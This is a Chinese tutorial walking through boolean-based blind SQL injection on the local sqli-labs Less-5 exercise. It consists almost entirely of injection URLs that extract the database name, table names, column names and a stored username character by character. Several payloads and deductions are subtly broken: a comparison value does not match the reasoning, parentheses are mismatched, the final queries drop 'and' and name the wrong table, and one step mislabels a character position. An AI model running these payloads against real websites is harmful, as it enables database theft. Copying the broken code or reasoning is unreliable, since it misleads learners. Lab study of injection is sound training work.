基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。
这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。
接下来,我们以less-5为例讲解基于布尔型SQL盲注方法。
此时的URL为:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=8 %23
长度为8时返回正确页面,所以数据库长度为8.
方法1——使用left()函数进行夹逼
猜测当前数据库名的第一位字符:
此时的URL为:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),1)>'r'%23
'r'<'当前数据库名的第一位字符'<'t'
所以当前数据库名的第一位字符为’s’。
此时的URL为:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),2)>'sd'%23
'sd'<'当前数据库名的前两位字符'<'sf'
所以当前数据库名的第二位字符为’e’。
以此类推,最后得到当前数据库名为“security”。
方法2——使用ascii()函数和substr()函数进行夹逼
猜测当前数据库名的第一位字符:
此时的URL为:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select database()),1,1)>144%23
114<当前数据库名的第一位字符的ascii<116
所以当前数据库名的第一位字符为’s’。
此时的URL为:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select database()),2,1)>100%23
100<当前数据库名的第二位字符的ascii<102
所以当前数据库名的第二位为’e’。
以此类推,最后得到当前数据库名为“security”。
此时的URL为:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100%23
'd'<'当前数据库第一个表名的第一个字符'<'f'
所以,当前数据库第一个表名的第一个字符为’e’。
此时的URL为:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108%23
'l'<'当前数据库第一个表名的第二个字符'<'n'
所以,当前数据库第一个表名的第二个字符为’m’。
以此类推,当前数据库第一个表名为’email’。
此时的URL为:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113%23
'q'<'当前数据库第二个表名的第一个字符'<'s'
所以,当前数据库第二个表名的第一个字符为’r’。
此时的URL为:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>100%23
'd'<'当前数据库第二个表名的第二个字符'<'f'
所以,当前数据库第二个表名的第二个字符为’e’。
以此类推,当前数据库第二个表名为’referer’。
此时的URL为:
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 3,1),1,1))>104%23
'h'<'当前数据表的第四个字段的第一个字符'<'j'
所以,当前数据表的第四个字段的第一个字符为’i’。
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 3,1),2,1))>100%23
'c'<'当前数据表的第四个字段的第二个字符'<'e'
所以,当前数据表的第四个字段的第二个字符为’d’。
一次类推,当前数据表的第四个字段为’id’。
同样的方法,我们可以推出当前数据表的第五个字段为’username’。
http://127.0.0.1/sqlilabs/less-5/?id=1' ascii(substr((select username from security.user order by id limit 0,1),1,1)>67%23)
'C'<'当前字段的第一个数据项的第一个字符'<'E'
所以,当前字段的第一个数据项的第一个字符为’D’。
http://127.0.0.1/sqlilabs/less-5/?id=1' ascii(substr((select username from security.user order by id limit 0,1),2,1)>116%23)
't'<'当前字段的第一个数据项的第二个字符'<'v'
所以,当前字段的第一个数据项的第一个字符为’u’。
以此类推,当前字段的第一个数据项为’Dumb’。